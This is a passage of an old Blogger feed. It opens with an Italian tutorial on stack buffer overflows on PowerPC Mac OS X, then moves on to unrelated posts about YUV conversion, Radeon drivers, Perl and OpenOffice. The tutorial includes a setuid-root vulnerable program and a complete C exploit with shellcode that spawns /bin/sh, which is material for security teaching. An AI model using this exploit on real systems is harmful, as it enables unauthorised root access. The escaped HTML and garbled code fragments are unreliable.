tinybuff[16]; strcpy(tinybuff, hugebuff); } &lt;/string.h&gt;&lt;/stdio.h&gt;&lt;/pistagna@dmi.unict.it&gt;&lt;/code&gt; Compilando ed avviando il nostro programma di esempio,vedremo come e' possibile ottenere il controllo voluto sul valore del registro LR. &lt;code&gt; cagliostro$gcc -o s_overflow s_overflow.c cagliostro$gdb s_overflow GNU gdb 5.3-20030128 (Apple version gdb-309) (Thu Dec  4 15:41:30 GMT 2003) Reading symbols for shared libraries .. done (gdb) r Starting program: /Users/valvoline/s_overflow Reading symbols for shared libraries . done  Program received signal EXC_BAD_ACCESS, Could not access memory. 0x41414140 in ?? () (gdb) &lt;/code&gt; gdb  ha  trovato  un  problema  che non ha permesso di  portare  a  termine  il programma, ed ha ritornato un errore  indicande  che  il  codice  ha provato ad eseguire  istruzioni all'indirizzo di memoria '0x41414140'. Questo indirizzo e' il corrispondente esadecimale dello spezzone finale della nostra stringa: ..A.. Questi caratteri hanno sovrascritto i dati precedentemente salvati sullo stack. Di conseguenza il programma assume,non correttamente, che il valore: 0x41414140 e'  il  valore di ritorno conservato in LR. E' da notare che anche se il buffer sovrascritto e' grande solo 16bytes,esso prende in ogni caso 24bytes aggiuntivi per raggiungere  il  punto dove e' salvato il  valore di LR. Questo perche' per ogni frame di stack,vengono mantenuti 24bytes di spazio stack per consentire di preservare i registri.   Esempio dell'uso di una shellcode Usando  la  nostra  shellcode,  costruita   precedentemente,  ed  un  programma vulnerabile con SUID 0, proviamo a costruire  un  esempio  concreto  di  buffer overflow da usare contro osX/Darwin. &lt;code&gt; cagliostro$cat vulnerable.c /*  Esempio di programma stupido e vulnerabile per dimostrare l'uso della tecnica di buffer overflow.  Costantino Pistagna &lt;pistagna@dmi.unict.it&gt;  "Il materiale di guerra deve essere portato dal proprio paese, ma le vettovaglie devono essere reperite in territorio nemico. CosÃ¬ 'armata avra' cibo sufficiente per i suoi bisogni." L'Arte della Guerra - Sun Tzu */  #include &lt;stdio.h&gt; #include &lt;string.h&gt;  int main(int argc, char **argv) { char tinybuff[16];  strcpy(tinybuff, argv[1]9; printf("\n%s\n", tinybuff); }   cagliostro$gcc -o vulnerable vulnerable.c cagliostro$sudo chown root vulnerable cagliostro$sudo chmod u+s vulnerable &lt;/string.h&gt;&lt;/stdio.h&gt;&lt;/pistagna@dmi.unict.it&gt;&lt;/code&gt; La linea di pensiero che seguiremo per ottenere il controllo del nostro stupido programma e' la seguente: &lt;/function&gt;&lt;br /&gt;&lt;/code&gt;&lt;ol&gt;&lt;li&gt; costruire il payload  iniziale  con  caratteri random per assicurarci che la&lt;br /&gt;sua grandezza sia corretta per mettere in  overflow  il buffer  tinybuff[16]&lt;br /&gt;+ 24bytes di riserva di spazio stack (40bytes).&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; ottenere il valore corrente dello stack pointer (r1).&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; scostare l'indirizzo di memoria ottenuto al passo 2 per puntare alla memoria&lt;br /&gt;che conterra' le istruzioni della nostra shellcode. Bisogna appendere questa&lt;br /&gt;locazione di memoria (4bytes) alla fine del nostro payload.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; assicurarsi che il nuovo indirizzo di  memoria nello stack sia allineato per&lt;br /&gt;'word' in maniera che il processore lo esegua senza porsi problemi&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; appendere la shellcode al payload&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; chiamare  il  programma  vulnerabile  con  il  nostro  payload  per  causare&lt;br /&gt;l'overflow.&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;pre&gt;Stack: [ buffervulnerabile16bytes ] [ 24bytesRISERVATI ] [ __LR_ ] [ ..DATI.. ]&lt;br /&gt;Payld: [ _caratteri_di_riempimento_anche_senza_senso:: ] [ __RET ] [ shellcode]&lt;br /&gt;&lt;/pre&gt;e' importante capire che la shellcode  sovrascrivera'  qualunque  dato  che  e' stato riservato precedentemente nello stack. Per esempio,  i dati  sovrascritti potrebbero includere  variabili  d'ambiente  e  causare  problemi  sulla  shell interattiva che andremo a lanciare.Evitare questo e' solo questione di pratica, esperienza, fortuna e bravura.  Un tipico esempio di exploit  per  il nostro programma vulnerabile  visto sopra (vulnerable.c), potrebbe essere quello sotto: &lt;code&gt; #include &lt;stdio.h&gt; #include &lt;string.h&gt; #include &lt;unistd.h&gt;  #define VULNBUFF        16+24 #define SHELLCODE       88 #define OFFSET          380  char shellcode[]= //questi sono 88bytes "\x7c\x63\x1a\x79\x40\x82\xff\xfd" "\x39\x40\x01\x23\x38\x0a\xfe\xf4" "\x44\xff\xff\x02\x60\x60\x60\x60" "\x7c\xa5\x2a\x79\x7c\x68\x02\xa6" "\x38\x63\x01\x54\x38\x63\xfe\xf4" "\x90\x61\xff\xf8\x90\xa1\xff\xfc" "\x38\x81\xff\xf8\x3b\xc0\x01\x47" "\x38\x1e\xfe\xf4\x44\xff\xff\x02" "\x7c\xa3\x2b\x78\x3b\xc0\x01\x0d" "\x38\x1e\xfe\xf4\x44\xff\xff\x02" "\x2f\x62\x69\x6e\x2f\x73\x68\x00";  char nops[]= //questi sono 40bytes "\x60\x60\x60\x60\x60\x60\x60\x60" "\x60\x60\x60\x60\x60\x60\x60\x60" "\x60\x60\x60\x60\x60\x60\x60\x60" "\x60\x60\x60\x60\x60\x60\x60\x60" "\x60\x60\x60\x60\x60\x60\x60\x60";  char riempimento[]= //questi sono 40bytes "BBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBB";   //ritorniamo il valore di r1 (stack pointer) int sp(void) { __asm__("mr r0, r1"); }  //inizia il codice int main(int argc, char **argv) { long int ret, retused; unsigned char retadd[4]; char bofbuf[400]; memset(bofbuf, '\0', 400);  ret=sp(); retused=ret+OFFSET+40+8; retadd[0]=(int)((retused &amp;amp; 0xff000000) &amp;gt;&amp;gt; 24); retadd[1]=(int)((retused &amp;amp; 0x00ff0000) &amp;gt;&amp;gt; 16); retadd[2]=(int)((retused &amp;amp; 0x0000ff00) &amp;gt;&amp;gt; 8); retadd[3]=(int)(retused &amp;amp; 0x000000ff); retadd[4]='\0';  strcpy(bofbuf, riempimento); //riempimento strcat(bofbuf, retadd); // indirizzo di ritorno strcat(bofbuf, shellcode); // la nostra shellcode  printf("\nChiamiamo ./vulnerable2 &lt;bofbuf&gt; ...\n"); execl("./vulnerable2", "vulnerable2", bofbuf, NULL); }  &lt;/bofbuf&gt;&lt;/unistd.h&gt;&lt;/string.h&gt;&lt;/stdio.h&gt;&lt;/code&gt; Andare oltre In realta' questo e' solo una piccola parte di  quello che  e'  possibile  fare con  un  uso  corretto  e  consapevole  delle tecniche di overflowing. In certi casi  e'  necessario creare delle  porzioni di codice che riescano ad adeguarsi a salti e locazioni di memoria random. Altre volte,sara' necessario  scavalcare i  sistemi  di  IDS. Quello  che e' necessario comprendere sino in fondo, e' la reale  insicurezza  dei  sistemi che utilizziamo quotidianamente. A causa della smisurata  complessita'  dei  moderni  sistemi  operativi  e'  sempre possibile trovare delle porzioni  di codice affette da problemi. Riuscire ad 'exploitare' questi problemi e' solo una questione di tempo, abilita' ed astuzia.  Le  armi  a  disposizione  dell'amministratore  e del programmatore sono tante. Prima  tra tutte  la  consapevolezza  ed  attenzione  nel  codice  che si  sta' scrivendo e/o utilizzando: se e'  vero che i  sistemi complessi  non  sono  mai esenti da bug, e' anche vero che scrivere del codice lascivo non aiutera' nella messa in sicurezza di un sistema!  In un prossimo paper,  provero'  a spiegare i concetti e la pratica  che stanno dietro gli attacchi di tipo format-string e heap corruption.Queste due pratiche stanno, infatti, alla base di svariati exploit  utilizzati  attualmente  ed  in passato per la violazione di sistemi unix e windows.    Successivi Riferimenti aleph1   - smash the stack for fun and profit palante  - ppc shellcoding apple    - macos X - assembler guide motorola - programming environments for32bits implementations of PPC LSD Res. - unix  assembly  codes development  for vulnerabilities illustrations purpouses.&lt;/string+4&gt;&lt;/string&gt;&lt;/main+76&gt;&lt;/main+72&gt;&lt;/main+68&gt;&lt;/main+64&gt;&lt;/main+60&gt;&lt;/main+56&gt;&lt;/main+52&gt;&lt;/main+48&gt;&lt;/main+44&gt;&lt;/main+40&gt;&lt;/main+36&gt;&lt;/main+32&gt;&lt;/main+28&gt;&lt;/main+24&gt;&lt;/main+20&gt;&lt;/main+16&gt;&lt;/main+12&gt;&lt;/main+8&gt;&lt;/main+4&gt;&lt;/main&gt;&lt;/main+76&gt;&lt;/main+72&gt;&lt;/main+68&gt;&lt;/main+64&gt;&lt;/main+60&gt;&lt;/main+56&gt;&lt;/main+52&gt;&lt;/main+48&gt;&lt;/main+44&gt;&lt;/main+40&gt;&lt;/main+36&gt;&lt;/main+32&gt;&lt;/main+28&gt;&lt;/main+24&gt;&lt;/main+20&gt;&lt;/main+16&gt;&lt;/main+12&gt;&lt;/main+8&gt;&lt;/main&gt;&lt;/main+4&gt;&lt;/main+0&gt;&lt;/unistd.h&gt;&lt;/sys&gt;&lt;/unistd.h&gt;&lt;/sys&gt;&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-2448116608075610662?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/2448116608075610662/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=2448116608075610662' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/2448116608075610662'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/2448116608075610662'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2010/07/powerpc-bof-howto.html' title='PowerPC bof howto'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-146495974235448253</id><published>2010-07-15T17:57:00.004+02:00</published><updated>2010-07-15T18:23:18.498+02:00</updated><title type='text'>Lightspark: YUV420 to YUV0 explained</title><content type='html'>&lt;p&gt;&lt;span style="font-size:180%;"&gt;Theory&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Lightspark is a free, open source flash player which aims to be a good, lightweight and fast friend for all flash's sites.&lt;br /&gt;It uses SSE2 extension to to a special job, which is transform from planar YUV420 to packet YUV0. &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;em&gt;Planar YUV: &lt;/em&gt;each component (Y, U, V) is stored as a separate array&lt;/li&gt;&lt;li&gt;&lt;em&gt;Packed YUV: &lt;/em&gt;Y, U (Cb) and V (Cr) samples are packed together into macropixels which are stored in a single array&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;So, what's the 420 and the 0 stands for? &lt;/p&gt;&lt;ul&gt;&lt;li&gt;420: For each U and V sample, there are two Y.&lt;/li&gt;&lt;li&gt;0: After The YUV, there is a NULL byte of padding.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Now, there is the signature of the function:&lt;/p&gt;&lt;p&gt;&lt;code&gt;void fun (uint8_t* y, uint8_t* u, uint8_t* v, uint8_t* out, uint32_t width, uint32_t height);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The u and v array are width*height, and the y array is 4 times width*height (there are two samples of Y for each U and V.. remember).&lt;/p&gt;&lt;p&gt;Naming the Y buffer in this way:&lt;/p&gt;&lt;p&gt;Y1, Y2, Y3... (each Y is one byte)&lt;/p&gt;&lt;p&gt;and V and U respectively&lt;/p&gt;&lt;p&gt;V1,V2.... and U1,U2.... (same, each U or V are one byte)&lt;/p&gt;&lt;p&gt;Our out array needs to be (and this is the YUV0 stands for):&lt;/p&gt;&lt;p&gt;Y1U1V1[0]   Y2U1V1[0]   Y3U2V2[0]   Y4U2V2[0].....&lt;/p&gt;&lt;p&gt;Y7U1V1[0]   Y8U1V1[0]   Y9U2V2[0]   Y10U2V2[0].....&lt;/p&gt;&lt;p&gt;And we need to get this for every line.&lt;/p&gt;&lt;p&gt;A graphical explanation of this: &lt;a href="http://en.wikipedia.org/wiki/YUV#Y.27UV420p_.28and_Y.27V12.29"&gt;http://en.wikipedia.org/wiki/YUV#Y.27UV420p_.28and_Y.27V12.29&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:100%;"&gt;Next we'll see an implementation on altivec-capable processors.&lt;/span&gt;&lt;span style="font-size:180%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-146495974235448253?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/146495974235448253/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=146495974235448253' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/146495974235448253'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/146495974235448253'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2010/07/lightspark-yuv420-to-yuv0-explained.html' title='Lightspark: YUV420 to YUV0 explained'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-1405023136065564306</id><published>2010-07-14T09:26:00.005+02:00</published><updated>2010-07-16T10:38:00.084+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='video radeon acceleration  3d linux'/><title type='text'>aTi 9600 and linux &gt;= 2.6.33.4: a successfull story</title><content type='html'>I was tired, because with my Radeon I could get only 100 FPS. I'm on a PowerBook, so I tried OSX and I reached ~1500 FPS.&lt;br /&gt;&lt;br /&gt;What a mess..&lt;br /&gt;&lt;br /&gt;My system:&lt;br /&gt;kernel 2.6.33.4, 2.6.35-rc4 to test&lt;br /&gt;xorg 1.8.1&lt;br /&gt;xf86-video-ati 6.13.0&lt;br /&gt;ati-dri 7.8.1&lt;br /&gt;mesa 7.8.1&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So, start from Xorg.0.log (located, here, under /var/log). If you see "swrast_dri.so" anywhere, you're using the Software Rasterizer, instead of R300_dri. This means that all 3D operations are done by the CPU instead of GPU, which is soooo slow.&lt;br /&gt;&lt;br /&gt;I checked the permission of /dev/dri/card0 (the entry-point for the system to my GPU):&lt;br /&gt;&lt;br /&gt;&lt;code&gt;[danimoth@jim ~]$ ls -l /dev/dri/card0&lt;br /&gt;crw-rw---- 1 root video 226, 0 Jul 14 09:22 /dev/dri/card0&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Wow! So I just added myself to video group (gpasswd -a danimoth video) and rebooted (I know, it isn't necessary, but I have done it). This part is done.. now, we need to have acceleration.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now, If I want to load a kernel with modesetting enabled (like 2.6.35-rc4), I had a black screen every time I load the module radeon (at boot time.. so I couldn't do very much)..&lt;br /&gt;&lt;br /&gt;To bypass this, in the kernel command line I added:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;radeon.modeset=0&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;and, to avoid ppc problems, I added also&lt;br /&gt;&lt;code&gt;&lt;br /&gt;video=radeondrmfb&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;but this isn't much important. Remember that in your kernel you don't need radeonfb, because if you have this, KMS will not take ownership of GPU (but you don't want KMS, it's still fine).&lt;br /&gt;&lt;br /&gt;Now, I can boot into my system, and I could do the magic thing:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;# modprobe -r radeon drm&lt;br /&gt;[The screen flickr.. is inusable.. but you could type]&lt;br /&gt;# modprobe drm&lt;br /&gt;# modprobe radeon modeset=1 agpmode=-1&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;The modset=1 switch indicate to start KMS, and agpmode=-1 (IMPORTANT!!) will start the driver in PCI Mode, and not in AGP Mode (which is the cause of black screen).You could add the two modprobe into a script, and execute it instead of typing all. Now, I started X, and glxinfo reported:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;[danimoth@jim ~]$ glxinfo | grep vendor&lt;br /&gt;server glx vendor string: SGI&lt;br /&gt;client glx vendor string: Mesa Project and SGI&lt;br /&gt;OpenGL vendor string: DRI R300 Project&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;The OpenGL vendor string is OK !!!&lt;br /&gt;&lt;br /&gt;So I started glxgears to see FPS, but X crashes:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;[   137.813] [mi] EQ overflowing. The server is probably stuck in an&lt;br /&gt;infinite loop.&lt;br /&gt;[   137.813]&lt;br /&gt;Backtrace:&lt;br /&gt;[   137.814] 0: /usr/bin/X (xorg_backtrace+0x58) [0x100582cc]&lt;br /&gt;[   137.814] 1: /usr/bin/X (mieqEnqueue+0x1c8) [0x1004e5d8]&lt;br /&gt;[   137.814] 2: /usr/bin/X (xf86PostButtonEventP+0xf4) [0x10061be8]&lt;br /&gt;[   137.814] 3: /usr/bin/X (xf86PostButtonEvent+0xb4) [0x10061d2c]&lt;br /&gt;[   137.814] 4: /usr/lib/xorg/modules/input/evdev_drv.so&lt;br /&gt;(0xf380000+0x3d88) [0xf383d88]&lt;br /&gt;[   137.814] 5: /usr/bin/X (0x10000000+0x68784) [0x10068784]&lt;br /&gt;[   137.814] 6: /usr/bin/X (0x10000000+0x11a7e4) [0x1011a7e4]&lt;br /&gt;[   137.814] 7: (vdso) (__kernel_sigtramp32+0x0) [0x100344]&lt;br /&gt;[   137.814] 8: /usr/lib/xorg/modules/dri/r300_dri.so&lt;br /&gt;(0xf3f5000+0x48534) [0xf43d534]&lt;br /&gt;[   137.814] 9: /usr/lib/libdrm.so.2 (drmIoctl+0x40) [0xf8b8f64]&lt;br /&gt;[   137.814] 10: /usr/lib/libdrm.so.2 (drmCommandWrite+0x24) [0xf8bbe60]&lt;br /&gt;[   137.814] 11: /usr/lib/xorg/modules/dri/r300_dri.so&lt;br /&gt;(0xf3f5000+0x46944) [0xf43b944]&lt;br /&gt;[   137.814] 12: /usr/lib/xorg/modules/dri/r300_dri.so&lt;br /&gt;(0xf3f5000+0x64d8c) [0xf459d8c]&lt;br /&gt;[   137.814] 13: /usr/lib/xorg/modules/extensions/libglx.so&lt;br /&gt;(0xf930000+0x40f78) [0xf970f78]&lt;br /&gt;[   137.814] 14: /usr/lib/xorg/modules/extensions/libglx.so&lt;br /&gt;(0xf930000+0x44be4) [0xf974be4]&lt;br /&gt;[   137.814] 15: /usr/bin/X (0x10000000+0x34a24) [0x10034a24]&lt;br /&gt;[   137.815] 16: /usr/bin/X (0x10000000+0x18bc4) [0x10018bc4]&lt;br /&gt;[   137.815] 17: /lib/libc.so.6 (0xfb39000+0x1f544) [0xfb58544]&lt;br /&gt;[   137.815] 18: /lib/libc.so.6 (0xfb39000+0x1f6d0) [0xfb586d0]&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;The only thing I've need to do is remove ALL xorg.conf.d/ files which contains some reference to the radeon module. Just let X.org to autodetect all things..&lt;br /&gt;&lt;br /&gt;At next reboot, I was capable to do glxgears without crashing, with ~1500 FPS.&lt;br /&gt;Coming back to 2.6.33.4, I could see which the permission fix resolved also my FPS here (without FPS): ~1500 !&lt;br /&gt;&lt;br /&gt;I'm so happy now :)&lt;br /&gt;&lt;br /&gt;Thanks to xorg-ati mailing list to help me with this (and primarily with apgmode=-1).&lt;br /&gt;&lt;br /&gt;Tell me your stories.&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-1405023136065564306?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/1405023136065564306/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=1405023136065564306' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/1405023136065564306'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/1405023136065564306'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2010/07/ati-9600-and-linux-26334-successfull.html' title='aTi 9600 and linux &gt;= 2.6.33.4: a successfull story'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-4966758901692583950</id><published>2010-06-07T16:38:00.003+02:00</published><updated>2010-06-07T16:43:13.886+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><title type='text'>Perl: using script anywhere in your filesystem</title><content type='html'>How many times, writing perl script, you have seen this ugly message:&lt;br /&gt;&lt;br /&gt;[danimoth@jim test]$ ./TestFileGetCmd.pl &lt;br /&gt;Can't locate FileGetCmd.pm in @INC (@INC contains: /usr/lib/perl5/site_perl/5.10.1 /usr/share/perl5/site_perl/5.10.1 /usr/lib/perl5/vendor_perl /usr/share/perl5/vendor_perl /usr/share/perl5/vendor_perl /usr/lib/perl5/core_perl /usr/share/perl5/core_perl /usr/lib/perl5/current /usr/lib/perl5/site_perl/current .) at ./TestFileGetCmd.pl line 5.&lt;br /&gt;BEGIN failed--compilation aborted at ./TestFileGetCmd.pl line 5.&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;To remove this, you could simply add at the beginning of the script:&lt;br /&gt;&lt;br /&gt;use lib 'your_dir';&lt;br /&gt;&lt;br /&gt;..and you're OK.&lt;br /&gt;&lt;br /&gt;Note that 'your_dir' is relative (so, don't use ../../ or similar if you expect your script is executed from various filesystem's point but instead use absolute path).&lt;br /&gt;&lt;br /&gt;If you're sure your scripts will be executed from a specified dir, you could safely use "..".&lt;br /&gt;&lt;br /&gt;HTH,&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-4966758901692583950?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/4966758901692583950/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=4966758901692583950' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/4966758901692583950'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/4966758901692583950'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2010/06/perl-using-script-anywhere-in-your.html' title='Perl: using script anywhere in your filesystem'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-7387008019094188607</id><published>2010-02-24T18:02:00.002+01:00</published><updated>2010-02-24T18:06:46.254+01:00</updated><title type='text'>Scaling bug.. in tutti i software per la grafica</title><content type='html'>A causa di una errata gestione della gamma della luminosita' (quando si resiza e' trattata linearmente, mentre quando si mostra a video e' trattata esponenzialmente) quasi tutti i software di grafica soffrono di un problema: Quando effettuiamo un resize, e' sbagliato. Ma sbagliato nel senso che l'immagine di partenza e' diversa da quella risultante, sono proprio due immagini differenti.&lt;div&gt;In realta', non c'e' in tutti i software: qui [ &lt;a href="http://tuxpaint.org/"&gt;Tux paint&lt;/a&gt; ] e' assente. Quando un programma per bambini supera Photoshop CS4, e' ora di dichiarare guerra ai software proprietari.&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;La spiegazione, comprensiva di molti esempi, e' qui.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.4p8.com/eric.brasseur/gamma.html"&gt;http://www.4p8.com/eric.brasseur/gamma.html&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Buona lettura&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-7387008019094188607?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/7387008019094188607/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=7387008019094188607' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/7387008019094188607'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/7387008019094188607'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2010/02/scaling-bug-in-tutti-i-software-per-la.html' title='Scaling bug.. in tutti i software per la grafica'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-4540221468038429140</id><published>2010-02-17T11:23:00.003+01:00</published><updated>2010-02-17T11:37:01.603+01:00</updated><title type='text'>OpenOffice.org 3.2.0 OSX (ppc)</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_gXDO-PJ7xJM/S3vEmerxQ7I/AAAAAAAAAG8/zc0B7UqZDpA/s1600-h/opneoffice.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 320px; height: 148px;" src="http://4.bp.blogspot.com/_gXDO-PJ7xJM/S3vEmerxQ7I/AAAAAAAAAG8/zc0B7UqZDpA/s320/opneoffice.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5439157140330726322" /&gt;&lt;/a&gt;Very good start for many of us that has a mac ppc and want to try the new openoffice 3.2.0. A great "not found page" is &lt;a href="http://www.openoffice.org/"&gt;here&lt;/a&gt; for us.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Many thanks mother Sun! You could share the scripts used for compiling it. Ehm.. compiling? No, no, I don't have a day to waste.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So, I need to found an alternative way.. and there is :)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Download the 3.2.0 for PPC deutch version (&lt;a href="http://download.services.openoffice.org/files/localized/de/3.2.0/OOo_3.2.0_MacOSXPPC_install_de.dmg"&gt;here&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Drag the applications on Desktop&lt;/li&gt;&lt;li&gt;Download the 3.2.0 language pack for OSX Intel (&lt;a href="http://download.services.openoffice.org/files/stable/3.2.0/OOo_3.2.0_MacOSXIntel_langpack_en-US.dmg"&gt;here&lt;/a&gt; is en_US)&lt;/li&gt;&lt;li&gt;Launch the installer of the language pack, and select the OpenOffice.app that you have on Desktop&lt;/li&gt;&lt;li&gt;When finish, you should have OO.org localized. I have en_US as system language, so at first run it was already in english.&lt;/li&gt;&lt;/ul&gt;How it works? Simply, localization files are architecture-independent. I don't know why reference these as "Intel only", but the fact are these.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Want a linux-ppc version? Install &lt;a href="http://www.archlinuxppc.org"&gt;archlinuxPPC&lt;/a&gt; and run  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;pacman -Sy openoffice-base&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Have a nice day&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
